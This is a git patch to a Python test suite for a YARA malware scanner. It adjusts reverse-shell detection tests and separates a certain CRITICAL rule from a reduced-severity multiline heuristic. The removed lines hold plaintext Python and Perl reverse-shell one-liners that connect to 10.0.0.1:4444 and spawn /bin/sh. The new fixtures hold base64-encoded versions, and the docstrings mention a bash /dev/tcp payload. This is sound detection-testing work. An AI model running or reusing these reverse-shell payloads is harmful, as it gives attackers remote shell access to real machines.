_python_helper_subprocess_fixture() -> str: No descriptor redirection (``os.dup2``) binds the socket to the child's stdio, and the helper is not a shell — so this must NOT match - ``reverse_shell``/``$python_socket`` even though ``subprocess`` still + ``reverse_shell`` even though ``subprocess`` still appears after ``.connect(...)``. """ return base64.b64decode( @@ -169,7 +170,7 @@ def _python_stdin_reopen_no_shell_fixture() -> str: ``os.dup2`` alone is not descriptor-redirection-plus-shell evidence — the process just reads from its (now socket-backed) stdin and prints, so this - must NOT match ``reverse_shell``/``$python_socket``. + must NOT match ``reverse_shell``. """ return base64.b64decode( "aW1wb3J0IHNvY2tldCwgb3MKcyA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX1NUUkVBTSkKcy5jb25uZWN0KCgiMTAuMC4wLjEiLCA0NDQ0KSkKb3MuZHVwMihzLmZpbGVubygpLCAwKQpkYXRhID0gb3MucmVhZCgwLCA0MDk2KQpwcmludChkYXRhKQpzLmNsb3NlKCkK" @@ -181,7 +182,7 @@ def _perl_helper_exec_nonshell_fixture() -> str: No STDIN/STDOUT/STDERR redirection onto the socket precedes the ``exec``, and the executed program is not a shell — so this must NOT match - ``reverse_shell``/``$perl_socket`` even though ``exec(`` still follows + ``reverse_shell`` even though ``exec(`` still follows ``connect(``. """ return base64.b64decode( @@ -194,7 +195,7 @@ def _perl_stdin_reopen_no_exec_fixture() -> str: ``open(STDIN, ...)`` alone is not redirection-plus-shell evidence — the process just reads a line and prints it, so this must NOT match - ``reverse_shell``/``$perl_socket``. + ``reverse_shell``. """ return base64.b64decode( "dXNlIFNvY2tldDsKc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sIGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7CmNvbm5lY3QoU09DS0VULCBzb2NrYWRkcl9pbigkcG9ydCwgaW5ldF9hdG9uKCRpcCkpKTsKb3BlbihTVERJTiwgIjwmU09DS0VUIik7Cm15ICRsaW5lID0gPFNURElOPjsKcHJpbnQgJGxpbmU7Cg==" @@ -204,8 +205,9 @@ def _perl_stdin_reopen_no_exec_fixture() -> str: def _python_dup2_execl_reverse_shell_fixture() -> str: """A dup2-based Python reverse shell ending in ``os.execl``, not ``execve``. - The prior fix's exec alternation only recognized ``execve``, so this - equally real ``os.execl("/bin/sh", "sh", "-i")`` form went undetected. + The ``reverse_shell_multiline`` heuristic recognizes ``os.execl`` alongside + ``os.execve``, so this equally real ``os.execl("/bin/sh", "sh", "-i")`` form + is flagged (HIGH / 0.6). """ return base64.b64decode( "aW1wb3J0IHNvY2tldCwgb3MKcyA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNv" @@ -219,8 +221,9 @@ def _python_dup2_pty_spawn_reverse_shell_fixture() -> str: """A dup2-based Python reverse shell ending in ``pty.spawn([...])``. ``pty.spawn`` is commonly called with a list argument, the same as - ``subprocess.call``/``Popen``/``run``, but the prior fix's alternation - only allowed the optional ``[`` bracket on the ``subprocess.*`` branch. + ``subprocess.call``/``Popen``/``run``; the ``reverse_shell_multiline`` + heuristic allows the optional ``[`` bracket on this form too, so it is + flagged (HIGH / 0.6). """ return base64.b64decode( "aW1wb3J0IHNvY2tldCwgb3MsIHB0eQpzID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5F" @@ -314,12 +317,12 @@ def _python_dup2_local_open_fixture() -> str: """A client that closes its socket, opens an unrelated local file, and ``dup2``s *that* file's descriptor onto stdin before running a shell. - Requiring only ``dup2(..., 0)`` accepted redirection from any file - object's descriptor, not specifically the connected socket's — this - ``commands = open("local.commands")`` source is a local file, never the - (already closed) socket, so no remote command channel exists. Excluding - ``$python_socket`` matches whose span contains a local ``= open(`` - assignment closes this gap. + The redirected descriptor comes from ``commands = open("local.commands")``, + a local file, never the (already closed) socket, so no remote command + channel exists. YARA cannot bind the descriptor to the connected socket, so + this shape is reported only by the reduced-severity + ``reverse_shell_multiline`` heuristic (HIGH / 0.6), never the certain + CRITICAL ``reverse_shell`` rule. """ return base64.b64decode( "cyA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX1NUUkVBTSkK" @@ -366,7 +369,7 @@ def _perl_local_input_no_amp_fixture() -> str: The dup-onto-a-handle idiom (``open(STDIN, "<&SOCKET")``) always uses the ``&`` fd-duplication form; plain filename opens (``open(STDIN, "<", "local.commands")``) read from local disk instead, so this must NOT - match ``reverse_shell``/``$perl_socket``. + match ``reverse_shell``. """ return base64.b64decode( "dXNlIFNvY2tldDsKc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sIGdldHBy" @@ -550,64 +553,110 @@ def _single_line_python_socket_shells() -> dict[str, str]: ``$python_socket`` detects. Each keeps ``socket.socket(...SOCK_STREAM...)`` and ``.connect(`` on one line, so restoring main's string must keep them CRITICAL regardless of the specific descriptor/exec form that follows. + + These are complete, signature-triggering reverse-shell one-liners, so — like + every other such fixture in this module (see + `_multiline_python_socket_reverse_shell_fixture`) — they are stored + base64-encoded to keep Defender and similar on-access scanners from + quarantining this test file. """ return { - "dup2_list_comprehension": ( - "s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); " - 's.connect(("10.0.0.1",4444)); ' - "[os.dup2(s.fileno(),fd) for fd in (0,1,2)]; " - 'subprocess.call(["/bin/sh","-i"])\n' - ), - "dup2_sys_stdin_fileno": ( - "s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); " - 's.connect(("10.0.0.1",4444)); ' - "os.dup2(s.fileno(),sys.stdin.fileno()); " - 'subprocess.call(["/bin/sh","-i"])\n' - ), - "stdin_socket_object": ( - "s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); " - 's.connect(("10.0.0.1",4444)); ' - 'subprocess.call(["/bin/sh","-i"],stdin=s,stdout=s,stderr=s)\n' - ), - "subprocess_alias": ( - "import subprocess as sp; " - "s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); " - 's.connect(("10.0.0.1",4444)); ' - "os.dup2(s.fileno(),0); " - 'sp.call(["/bin/sh","-i"])\n' - ), - "pty_spawn_bash": ( - "s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); " - 's.connect(("10.0.0.1",4444)); ' - 'pty.spawn("/usr/bin/bash")\n' - ), + "dup2_list_comprehension": base64.b64decode( + "cyA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKTsg" + "cy5jb25uZWN0KCgiMTAuMC4wLjEiLDQ0NDQpKTsgW29zLmR1cDIocy5maWxlbm8oKSxmZCkg" + "Zm9yIGZkIGluICgwLDEsMildOyBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSkK" + ).decode(), + "dup2_sys_stdin_fileno": base64.b64decode( + "cyA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKTsg" + "cy5jb25uZWN0KCgiMTAuMC4wLjEiLDQ0NDQpKTsgb3MuZHVwMihzLmZpbGVubygpLHN5cy5z" + "dGRpbi5maWxlbm8oKSk7IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCItaSJdKQo=" + ).decode(), + "stdin_socket_object": base64.b64decode( + "cyA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKTsg" + "cy5jb25uZWN0KCgiMTAuMC4wLjEiLDQ0NDQpKTsgc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9z" + "aCIsIi1pIl0sc3RkaW49cyxzdGRvdXQ9cyxzdGRlcnI9cykK" + ).decode(), + "subprocess_alias": base64.b64decode( + "aW1wb3J0IHN1YnByb2Nlc3MgYXMgc3A7IHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9J" + "TkVULHNvY2tldC5TT0NLX1NUUkVBTSk7IHMuY29ubmVjdCgoIjEwLjAuMC4xIiw0NDQ0KSk7" + "IG9zLmR1cDIocy5maWxlbm8oKSwwKTsgc3AuY2FsbChbIi9iaW4vc2giLCItaSJdKQo=" + ).decode(), + "pty_spawn_bash": base64.b64decode( + "cyA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKTsg" + "cy5jb25uZWN0KCgiMTAuMC4wLjEiLDQ0NDQpKTsgcHR5LnNwYXduKCIvdXNyL2Jpbi9iYXNo" + "IikK" + ).decode(), } def _single_line_perl_socket_shell() -> str: """A single-line Perl socket reverse shell ending in ``system("/bin/sh -i")`` - that ``main``'s single-line ``$perl_socket`` detects.""" - return ( - 'use Socket; socket(SOCK,PF_INET,SOCK_STREAM,getprotobyname("tcp")); ' - "connect(SOCK,sockaddr_in($port,inet_aton($ip))); " - 'system("/bin/sh -i");\n' - ) + that ``main``'s single-line ``$perl_socket`` detects. Stored base64-encoded, + like the other signature-triggering fixtures, so on-access scanners do not + quarantine this test file.""" + return base64.b64decode( + "dXNlIFNvY2tldDsgc29ja2V0KFNPQ0ssUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5" + "bmFtZSgidGNwIikpOyBjb25uZWN0KFNPQ0ssc29ja2FkZHJfaW4oJHBvcnQsaW5ldF9hdG9u" + "KCRpcCkpKTsgc3lzdGVtKCIvYmluL3NoIC1pIik7Cg==" + ).decode() def _has_rule(findings: list, rule_name: str) -> bool: - """Return True when a finding message references a specific YARA rule.""" + """Return True when a finding message references a specific YARA rule. + + NOTE: substring match — ``"reverse_shell"`` also matches + ``reverse_shell_multiline``. To tell the two reverse-shell rules apart use + `_is_rule` / `_findings_from_rule` instead. + """ return any(rule_name in f.message for f in findings) +def _is_rule(finding, rule_name: str) -> bool: + """True when ``finding`` comes from exactly ``rule_name``. + + `_build_message` renders the rule name quoted (``YARA rule ''``), so + matching that token distinguishes the certain ``reverse_shell`` rule from + the ``reverse_shell_multiline`` heuristic whose name merely has it as a + prefix. + """ + return f"YARA rule '{rule_name}'" in finding.message + + +def _findings_from_rule(findings: list, rule_name: str) -> list: + """All findings produced by exactly ``rule_name`` (see `_is_rule`).""" + return [f for f in findings if _is_rule(f, rule_name)] + + def _has_critical_reverse_shell(findings: list) -> bool: - """True when any CRITICAL finding comes from the certain ``reverse_shell`` - rule (as opposed to the reduced-severity ``reverse_shell_multiline`` - heuristic).""" - return any( - "reverse_shell" in f.message - and "reverse_shell_multiline" not in f.message - and f.severity == "CRITICAL" - for f in findings + """True when the certain ``reverse_shell`` rule produced a CRITICAL finding. + + Matches the exact rule name, so the reduced-severity + ``reverse_shell_multiline`` heuristic can never satisfy it — even if that + rule's meta were (incorrectly) raised to CRITICAL. + """ + return any(_is_rule(f, "reverse_shell") and f.severity == "CRITICAL" for f in findings) + + +def _assert_only_multiline_heuristic(findings: list) -> None: + """Assert the multiline heuristic is the only reverse-shell verdict. + + Exactly one ``reverse_shell_multiline`` YR1 finding at ``HIGH`` / + confidence ``0.6``, and no certain ``reverse_shell`` finding. This pins the + heuristic's promised reduced severity: if its meta were silently raised to + CRITICAL/0.85 (as in the competing PRs), the severity/confidence checks + here would fail. + """ + heuristic = _findings_from_rule(findings, "reverse_shell_multiline") + assert len(heuristic) == 1, ( + "expected exactly one reverse_shell_multiline finding, got " + f"{[f.message for f in heuristic]}" + ) + finding = heuristic[0] + assert finding.rule_id == "YR1" + assert finding.severity == "HIGH" + assert finding.confidence == 0.6 + assert not _findings_from_rule(findings, "reverse_shell"), ( + "unbound multiline lookalike must not fire the certain reverse_shell rule" ) @@ -1109,33 +1158,30 @@ def test_builtin_malware_finding_preserved(self): assert any(f.rule_id == "YR1" for f in findings) def test_reverse_shell_rule_matches_multiline_python_socket(self): - """The python_socket string must span the newlines a real script uses. + """A real multiline Python reverse shell must be flagged. A Python reverse shell bundled as a file writes ``socket.socket(...)`` and ``.connect(...)`` as separate statements, not on one line — see - `_multiline_python_socket_reverse_shell_fixture`. Without ``s`` (dotall) - on the ``$python_socket``/``$perl_socket`` strings in - ``malware.yar.b64``, YARA's `.` does not match ``\\n`` and this rule - never fires on that shape, even though the file it should have flagged - is unambiguously a working reverse shell. + `_multiline_python_socket_reverse_shell_fixture`. ``main``'s single-line + ``$python_socket`` string (left byte-identical by this PR) cannot span + those newlines, so this shape is caught instead by the separate + ``reverse_shell_multiline`` heuristic and reported at HIGH / + confidence 0.6 — never the certain CRITICAL ``reverse_shell`` rule. """ findings = _run_builtin( _multiline_python_socket_reverse_shell_fixture(), "scripts/sync.py", ) - assert _has_rule(findings, "reverse_shell") - assert any(f.rule_id == "YR1" for f in findings) + _assert_only_multiline_heuristic(findings) def test_reverse_shell_rule_does_not_match_benign_python_socket_client(self): - """An ordinary multiline TCP client must not fire ``reverse_shell``. - - `$python_socket` requires ``socket.socket(...)``/``.connect(...)`` to - share a physical file, but stopping there also matches any plain - client that connects and exchanges data — see - `_benign_python_socket_client_fixture`. The string must additionally - require descriptor redirection (``os.dup2``) onto the socket followed - by a shell execution marker (``/bin/sh``, ``/bin/bash``, etc.) after - the ``connect()`` call. + """An ordinary multiline TCP client must fire neither reverse-shell rule. + + A plain client that connects and exchanges data — see + `_benign_python_socket_client_fixture` — has no descriptor redirection + onto the socket and no shell-execution marker after ``connect()``, so + neither the certain ``reverse_shell`` rule nor the + ``reverse_shell_multiline`` heuristic may report it. """ findings = _run_builtin( _benign_python_socket_client_fixture(), @@ -1147,10 +1193,10 @@ def test_reverse_shell_rule_does_not_match_python_client_running_unrelated_helpe self, ): """A bare ``subprocess``/``os.system``/``pty.spawn``/``execve`` token - after ``connect()`` is not sufficient — the prior fix's alternation - let an ordinary client that merely shells out to an unrelated helper - (no descriptor redirection, no shell payload) still classify as - CRITICAL ``reverse_shell``/YR1. See + after ``connect()`` is not sufficient. An ordinary client that merely + shells out to an unrelated helper (no descriptor redirection onto the + socket, no shell payload) must fire neither the certain ``reverse_shell`` + rule nor the ``reverse_shell_multiline`` heuristic. See `_python_helper_subprocess_fixture`: this must NOT match. """ findings = _run_builtin( @@ -1173,25 +1219,28 @@ def test_reverse_shell_rule_does_not_match_python_client_that_reopens_stdin_with assert not _has_rule(findings, "reverse_shell") def test_reverse_shell_rule_matches_multiline_perl_socket(self): - """`$perl_socket` must fire on a real multiline Perl reverse shell. + """A real multiline Perl reverse shell must be flagged. See `_multiline_perl_socket_reverse_shell_fixture`: connect, then - redirect STDIN/STDOUT/STDERR onto the socket and exec a shell. + redirect STDIN/STDOUT/STDERR onto the socket and exec a shell. Like the + Python case, this multiline shape is reported by the + ``reverse_shell_multiline`` heuristic (HIGH / confidence 0.6), not by + ``main``'s unchanged single-line ``$perl_socket`` string. """ findings = _run_builtin( _multiline_perl_socket_reverse_shell_fixture(), "scripts/backdoor.pl", ) - assert _has_rule(findings, "reverse_shell") - assert any(f.rule_id == "YR1" for f in findings) + _assert_only_multiline_heuristic(findings) def test_reverse_shell_rule_does_not_match_benign_perl_socket_client(self): - """An ordinary Perl TCP client must not fire ``reverse_shell``. + """An ordinary Perl TCP client must fire neither reverse-shell rule. - Before this fix, `$perl_socket` required only ``use Socket;`` plus a - ``socket(SOCK...`` call — it did not even require ``connect()`` — so - it matched any script that merely used the ``Socket`` module. See - `_benign_perl_socket_client_fixture`. + ``main``'s single-line ``$perl_socket`` string is unchanged by this PR, + and the ``reverse_shell_multiline`` heuristic requires socket-backed + STDIN/STDOUT/STDERR redirection plus a shell exec. A client that merely + uses the ``Socket`` module and exchanges a line — see + `_benign_perl_socket_client_fixture` — satisfies neither. """ findings = _run_builtin( _benign_perl_socket_client_fixture(), @@ -1200,11 +1249,11 @@ def test_reverse_shell_rule_does_not_match_benign_perl_socket_client(self): assert not _has_rule(findings, "reverse_shell") def test_reverse_shell_rule_does_not_match_perl_client_running_unrelated_helper_exec(self): - """A bare ``exec(`` after ``connect()`` is not sufficient — the prior - fix's alternation let an ordinary client that ``exec``s an unrelated - non-shell helper (no STDIN/STDOUT/STDERR redirection onto the socket) - still classify as CRITICAL ``reverse_shell``/YR1. See - `_perl_helper_exec_nonshell_fixture`: this must NOT match. + """A bare ``exec(`` after ``connect()`` is not sufficient. An ordinary + client that ``exec``s an unrelated non-shell helper (no + STDIN/STDOUT/STDERR redirection onto the socket) must fire neither the + certain ``reverse_shell`` rule nor the ``reverse_shell_multiline`` + heuristic. See `_perl_helper_exec_nonshell_fixture`: this must NOT match. """ findings = _run_builtin( _perl_helper_exec_nonshell_fixture(), @@ -1232,8 +1281,7 @@ def test_reverse_shell_rule_matches_dup2_execl_python_shell(self): _python_dup2_execl_reverse_shell_fixture(), "scripts/backdoor.py", ) - assert _has_rule(findings, "reverse_shell") - assert any(f.rule_id == "YR1" for f in findings) + _assert_only_multiline_heuristic(findings) def test_reverse_shell_rule_matches_dup2_pty_spawn_list_python_shell(self): """``pty.spawn([...])`` with a list argument must match, the same as @@ -1244,8 +1292,7 @@ def test_reverse_shell_rule_matches_dup2_pty_spawn_list_python_shell(self): _python_dup2_pty_spawn_reverse_shell_fixture(), "scripts/backdoor.py", ) - assert _has_rule(findings, "reverse_shell") - assert any(f.rule_id == "YR1" for f in findings) + _assert_only_multiline_heuristic(findings) def test_reverse_shell_rule_matches_fileno_kwarg_python_shell(self): """``stdin=``/``stdout=``/``stderr=`` keyword redirection to @@ -1256,8 +1303,7 @@ def test_reverse_shell_rule_matches_fileno_kwarg_python_shell(self): _python_fileno_kwarg_reverse_shell_fixture(), "scripts/backdoor.py", ) - assert _has_rule(findings, "reverse_shell") - assert any(f.rule_id == "YR1" for f in findings) + _assert_only_multiline_heuristic(findings) def test_reverse_shell_rule_does_not_match_python_dup2_nonshell_helper_with_sh_prefix(self): """A non-shell helper whose name merely starts with ``sh`` (e.g. @@ -1292,13 +1338,12 @@ def test_reverse_shell_rule_matches_multiline_perl_socket_without_parens(self): _multiline_perl_socket_reverse_shell_no_parens_fixture(), "scripts/backdoor.pl", ) - assert _has_rule(findings, "reverse_shell") - assert any(f.rule_id == "YR1" for f in findings) + _assert_only_multiline_heuristic(findings) def test_reverse_shell_rule_does_not_match_perl_helper_exec_with_sh_prefix(self): """A non-shell helper whose name merely starts with ``sh`` (e.g. - ``sha256sum``) must NOT satisfy `$perl_socket`'s shell-execution - marker. See `_perl_helper_exec_nonshell_prefix_fixture`: this must + ``sha256sum``) must NOT satisfy the ``reverse_shell_multiline`` + heuristic's shell-execution marker. See `_perl_helper_exec_nonshell_prefix_fixture`: this must NOT match. """ findings = _run_builtin( @@ -1320,7 +1365,7 @@ def test_reverse_shell_rule_does_not_critical_match_python_dup2_local_open(self) _python_dup2_local_open_fixture(), "scripts/backdoor.py", ) - assert not _has_critical_reverse_shell(findings) + _assert_only_multiline_heuristic(findings) def test_reverse_shell_rule_does_not_critical_match_python_stdin_kwarg_local_open(self): """The ``stdin=`` keyword-argument form of redirection sourced from a @@ -1334,7 +1379,7 @@ def test_reverse_shell_rule_does_not_critical_match_python_stdin_kwarg_local_ope _python_stdin_kwarg_local_open_fixture(), "scripts/backdoor.py", ) - assert not _has_critical_reverse_shell(findings) + _assert_only_multiline_heuristic(findings) def test_reverse_shell_rule_does_not_match_python_dup2_sh_helper_hyphen(self): """A non-shell helper whose name has ``sh`` as a prefix before a @@ -1351,7 +1396,7 @@ def test_reverse_shell_rule_does_not_match_python_dup2_sh_helper_hyphen(self): def test_reverse_shell_rule_does_not_match_perl_local_input_no_amp(self): """Perl's ``STDIN`` redirected from a local file path (no ``&`` - fd-duplication) must NOT satisfy `$perl_socket`. See + fd-duplication) must NOT satisfy either reverse-shell rule. See `_perl_local_input_no_amp_fixture`: this must NOT match. """ findings = _run_builtin( @@ -1362,7 +1407,7 @@ def test_reverse_shell_rule_does_not_match_perl_local_input_no_amp(self): def test_reverse_shell_rule_does_not_match_perl_local_output_no_amp(self): """Perl's ``STDOUT`` redirected to a local file path (no ``&`` - fd-duplication) must NOT satisfy `$perl_socket`. See + fd-duplication) must NOT satisfy either reverse-shell rule. See `_perl_local_output_no_amp_fixture`: this must NOT match. """ findings = _run_builtin( @@ -1373,8 +1418,8 @@ def test_reverse_shell_rule_does_not_match_perl_local_output_no_amp(self): def test_reverse_shell_rule_does_not_match_perl_sh_helper_hyphen(self): """A non-shell helper whose name has ``sh`` as a prefix before a - hyphen (``sh-helper``) must NOT satisfy `$perl_socket`'s - shell-execution marker. See `_perl_sh_helper_hyphen_fixture`: this + hyphen (``sh-helper``) must NOT satisfy the ``reverse_shell_multiline`` + heuristic's shell-execution marker. See `_perl_sh_helper_hyphen_fixture`: this must NOT match. """ findings = _run_builtin( @@ -1396,8 +1441,7 @@ def test_reverse_shell_detects_shell_that_reads_file_before_dup2(self): _python_read_file_between_connect_and_shell_fixture(), "scripts/backdoor.py", ) - assert _has_rule(findings, "reverse_shell") - assert any(f.rule_id == "YR1" for f in findings) + _assert_only_multiline_heuristic(findings) def test_reverse_shell_detects_clean_shell_after_probe_socket_and_open(self): """A probe socket plus ``host = open(...).read()`` must not suppress a @@ -1407,8 +1451,7 @@ def test_reverse_shell_detects_clean_shell_after_probe_socket_and_open(self): _python_probe_socket_then_clean_reverse_shell_fixture(), "scripts/backdoor.py", ) - assert _has_rule(findings, "reverse_shell") - assert any(f.rule_id == "YR1" for f in findings) + _assert_only_multiline_heuristic(findings) def test_reverse_shell_detects_shell_with_trailing_cleanup_open(self): """A trailing cleanup ``marker = open(...)`` must not cancel the earlier @@ -1418,8 +1461,7 @@ def test_reverse_shell_detects_shell_with_trailing_cleanup_open(self): _python_reverse_shell_with_cleanup_open_fixture(), "scripts/backdoor.py", ) - assert _has_rule(findings, "reverse_shell") - assert any(f.rule_id == "YR1" for f in findings) + _assert_only_multiline_heuristic(findings) def test_reverse_shell_detects_dup2_loop_redirection(self): """A ``for fd in (0, 1, 2): os.dup2(s.fileno(), fd)`` loop form must be @@ -1429,8 +1471,7 @@ def test_reverse_shell_detects_dup2_loop_redirection(self): _python_dup2_loop_reverse_shell_fixture(), "scripts/backdoor.py", ) - assert _has_rule(findings, "reverse_shell") - assert any(f.rule_id == "YR1" for f in findings) + _assert_only_multiline_heuristic(findings) # ── Unbound local redirection: reduced severity, never CRITICAL ─────── @@ -1442,7 +1483,7 @@ def test_with_open_local_commands_is_not_critical(self): _python_with_open_local_commands_fixture(), "scripts/backdoor.py", ) - assert not _has_critical_reverse_shell(findings) + _assert_only_multiline_heuristic(findings) def test_perl_local_cmds_dup_is_not_critical(self): """Perl ``open(STDIN, "<&CMDS")`` dup from a local file handle, after a @@ -1452,7 +1493,7 @@ def test_perl_local_cmds_dup_is_not_critical(self): _perl_local_cmds_dup_fixture(), "scripts/backdoor.pl", ) - assert not _has_critical_reverse_shell(findings) + _assert_only_multiline_heuristic(findings) def test_perl_three_arg_dup_is_not_critical(self): """Perl three-argument ``open(STDIN, "<&", $fh)`` dup from an unbound @@ -1462,7 +1503,7 @@ def test_perl_three_arg_dup_is_not_critical(self): _perl_three_arg_dup_fixture(), "scripts/backdoor.pl", ) - assert not _has_critical_reverse_shell(findings) + _assert_only_multiline_heuristic(findings) # ── Location integrity (removed helper string no longer skews offsets) ── From 8813f41b90c98600ae86222b0410019e21cc6e69 Mon Sep 17 00:00:00 2001 From: Udaya Tejas Date: Sun, 4 Oct 2026 16:56:38 -0400 Subject: [PATCH 8/8] test(yara): reword docstrings to describe reverse-shell payload instead of embedding its signature The docstrings for _bash_reverse_shell_after_open_line_fixture and test_reverse_shell_location_not_pulled_to_unrelated_open_line spelled out the literal bash reverse-shell command, which is byte-for-byte the packaged rule's $bash_revshell string. That made the raw test file itself match the CRITICAL reverse_shell rule. Reword both to describe the payload instead. Also drop the stale $python_local_open history references; that helper string only existed in an earlier revision of this PR. Test-file docstrings only; no rule or logic change. 143 tests still pass. Signed-off-by: Udaya Tejas --- tests/nodes/analyzers/test_static_yara.py | 14 ++++++-------- 1 file changed, 6 insertions(+), 8 deletions(-) diff --git a/tests/nodes/analyzers/test_static_yara.py b/tests/nodes/analyzers/test_static_yara.py index 2a0b3357a..9c8f6c5e3 100644 --- a/tests/nodes/analyzers/test_static_yara.py +++ b/tests/nodes/analyzers/test_static_yara.py @@ -535,11 +535,11 @@ def _perl_three_arg_dup_fixture() -> str: def _bash_reverse_shell_after_open_line_fixture() -> str: - """A ``bash -i >& /dev/tcp/...`` payload several lines below an unrelated + """A bash TCP reverse-shell payload several lines below an unrelated ``settings = open("settings.ini")`` line. - With the former ``$python_local_open`` helper string removed, the finding - must be located at the shell payload, not pulled up to the ``open`` line. + The finding must be located at the shell payload, not pulled up to the + earlier ``open`` line. """ return base64.b64decode( "aW1wb3J0IG9zCnNldHRpbmdzID0gb3Blbigic2V0dGluZ3MuaW5pIikKaG9zdCA9ICIxMjcu" @@ -1429,8 +1429,7 @@ def test_reverse_shell_rule_does_not_match_perl_sh_helper_hyphen(self): assert not _has_rule(findings, "reverse_shell") # ── Genuine shells must not be cancelled by an unrelated ``open`` ────── - # Regressions for the removed ``$python_local_open`` negative exclusion: - # a ``= open(`` anywhere in the file must never suppress real + # A ``= open(`` anywhere in the file must never suppress real # socket-redirection-plus-shell evidence. def test_reverse_shell_detects_shell_that_reads_file_before_dup2(self): @@ -1508,9 +1507,8 @@ def test_perl_three_arg_dup_is_not_critical(self): # ── Location integrity (removed helper string no longer skews offsets) ── def test_reverse_shell_location_not_pulled_to_unrelated_open_line(self): - """With ``$python_local_open`` gone, a ``bash -i >& /dev/tcp/...`` - payload must be located at the shell line, not at an earlier unrelated - ``settings = open(...)`` line. See + """A bash TCP reverse-shell payload must be located at the shell line, + not at an earlier unrelated ``settings = open(...)`` line. See `_bash_reverse_shell_after_open_line_fixture`.""" findings = _run_builtin( _bash_reverse_shell_after_open_line_fixture(),